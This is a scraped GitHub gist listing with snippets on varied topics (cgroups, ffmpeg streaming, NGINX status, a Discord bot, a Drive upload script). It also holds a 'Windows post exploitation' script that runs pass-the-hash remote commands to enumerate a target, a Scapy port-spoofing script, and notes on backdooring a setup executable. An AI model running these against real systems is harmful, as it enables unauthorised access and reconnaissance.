Skip to content

Instantly share code, notes, and snippets.

View Prabesh01's full-sized avatar

Prabesh Sapkota Prabesh01

View GitHub Profile
@gleicon
gleicon / gist:1831533
Created February 14, 2012 23:17
cgroups for debian/ubuntu
$ uname -a
Linux labs 3.0.0-12-generic-pae #20-Ubuntu SMP Fri Oct 7 16:37:17 UTC 2011 i686 i686 i386 GNU/Linux
(vanilla kernels after .39 already have everything for cgroups, RH backported it to .35 IIRC)
# http://www.mjmwired.net/kernel/Documentation/cgroups/memory.txt
# apt-get install cgroup-bin
# reboot
login, etc..
@olasd
olasd / stream_to_youtube.sh
Created March 28, 2014 19:58
Stream video to youtube via ffmpeg
#! /bin/bash
#
# Diffusion youtube avec ffmpeg
# Configurer youtube avec une résolution 720p. La vidéo n'est pas scalée.
VBR="2500k" # Bitrate de la vidéo en sortie
FPS="30" # FPS de la vidéo en sortie
QUAL="medium" # Preset de qualité FFMPEG
YOUTUBE_URL="rtmp://a.rtmp.youtube.com/live2" # URL de base RTMP youtube
@1N3
1N3 / windows-post-exploitation.sh
Created February 3, 2016 12:18
A Windows post exploitation shell script
#!/bin/bash
TARGET=$1
pth-winexe -U DOMAIN/USERNAME%PASSWORD --system //$TARGET "systeminfo"
pth-winexe -U DOMAIN/USERNAME%PASSWORD --system //$TARGET "whoami /all"
pth-winexe -U DOMAIN/USERNAME%PASSWORD --system //$TARGET "ipconfig /all"
pth-winexe -U DOMAIN/USERNAME%PASSWORD --system //$TARGET "netstat -ano"
pth-winexe -U DOMAIN/USERNAME%PASSWORD --system //$TARGET "net accounts"
pth-winexe -U DOMAIN/USERNAME%PASSWORD --system //$TARGET "net localgroup USERNAMEs"
pth-winexe -U DOMAIN/USERNAME%PASSWORD --system //$TARGET "net share"
pth-winexe -U DOMAIN/USERNAME%PASSWORD --system //$TARGET "net view"
@mgaebler
mgaebler / gist:055a08827cdfb95fa84a4a5d7ef2255b
Last active June 16, 2024 05:50
NGINX: Custom JSON status page with stub_status
# Make sure the ngx_http_stub_status_module is installed correctly.
location /status {
add_header Content-Type application/json;
return 200 '{\r
"connections_active": $connections_active,\r
"connections_reading": $connections_reading,\r
"connections_writing": $connections_writing,\r
"connections_waiting": $connections_waiting
}';
}
@zbetcheckin
zbetcheckin / show_all_your_ports_as_open.md
Last active June 6, 2023 14:36
Fun Python & Scapy script that will answer 'SYN ACK' to any TCP 'SYN' packet received on any port

Python - Scapy - Show all your ports as open

#!/usr/local/bin/python2
from scapy.all import *
os.system("iptables -A OUTPUT -p tcp -o eth0 --sport 1:65535 --tcp-flags RST RST -j DROP")
def packet(pkt):
    if pkt[TCP].flags == 2:
        print('SYN packet detected port : ' + str(pkt[TCP].sport) + ' from IP Src : ' + pkt[IP].src)
 send(IP(dst=pkt[IP].src, src=pkt[IP].dst)/TCP(dport=pkt[TCP].sport, sport=pkt[TCP].dport,ack=pkt[TCP].seq + 1, flags='SA'))
@richard512
richard512 / reenable-right-click.js
Created July 7, 2017 01:55
re-enable right click (bookmarklet)
javascript:(function(w){
var arr = ['contextmenu','copy','cut','paste','mousedown','mouseup','beforeunload','beforeprint'];
for(var i = 0, x; x = arr[i]; i++){
if(w['on' + x])w['on' + x] = null;
w.addEventListener(x, function(e){e.stopPropagation()}, true);
};
for(var j = 0, f; f = w.frames[j]; j++){try{arguments.callee(f)}catch(e){}}})(window);
@gboudreau
gboudreau / AuthyToOtherAuthenticator.md
Last active July 23, 2024 19:15 — forked from Ingramz/AuthyToOtherAuthenticator.md
Export TOTP tokens from Authy
@nullbind
nullbind / BackDoor Setup Exe
Last active March 17, 2024 22:40
BackDoor Setup Exe
Author: Scott Sutherland, 2017
Descript: Summary of how to backdoor an existing setup file in Windows.
Note: Not sure if anyone covered this already? Seems kind of like a Casey Smith thing.
How to Backdoor Existing Setup Files by Modifying Config Files Stored in RCData
In this example, the lyncsdk.exe will be used. It can be download here: https://www.microsoft.com/en-us/download/details.aspx?id=36824
lyncentry.exe also works as an example.
Below are some basic instructions.
@alexsmbaratti
alexsmbaratti / .DISCORD_TUTORIAL.MD
Last active May 31, 2021 04:37
Discord.js Template

Tutorial for Discord.js (a.k.a. How to Make Your Own Discord Bot)

Note: I'm busy as of writing this and this tutorial is not complete. Whatever state this file is in, please remember to add a .gitignore and hide config.json in it. config.json will contain your API keys for Discord! If this is comprimised, others may have access to your bot and how it responds with commands.

To register your soon-to-be bot with Discord, go to their developer portal and create a new app. Give it a name at the very least. Click 'Create App.' On the next screen, click 'Create a Bot User.' Note the values Client ID, Client Secret, and Token.

I recommend creating a bot testing server in Discord to test out your bot without disturbing others. Plus, you'll be guarenteed the permissions needed to add a bot to your server. Add your client ID to the URL https://discordapp.com/oauth2/authorize?client_id=[CLIENT_ID]&permissions=0&scope=bot where specified and go to

@tanaikech
tanaikech / submit.md
Last active May 5, 2024 07:26
Uploading Local Files to Google Drive without Authorization using HTML Form

Uploading Local Files to Google Drive without Authorization using HTML Form

This is a sample script for uploading local file to Google Drive without the authorization using HTML form. A selected file in your local PC using HTML form is uploaded to Google Drive and saved to Google Drive.

When you use this, at first, please deploy Web Apps. The script is doPost() of following scripts.

Script : Google Apps Script

function doPost(e) {
 var data = Utilities.base64Decode(e.parameters.data);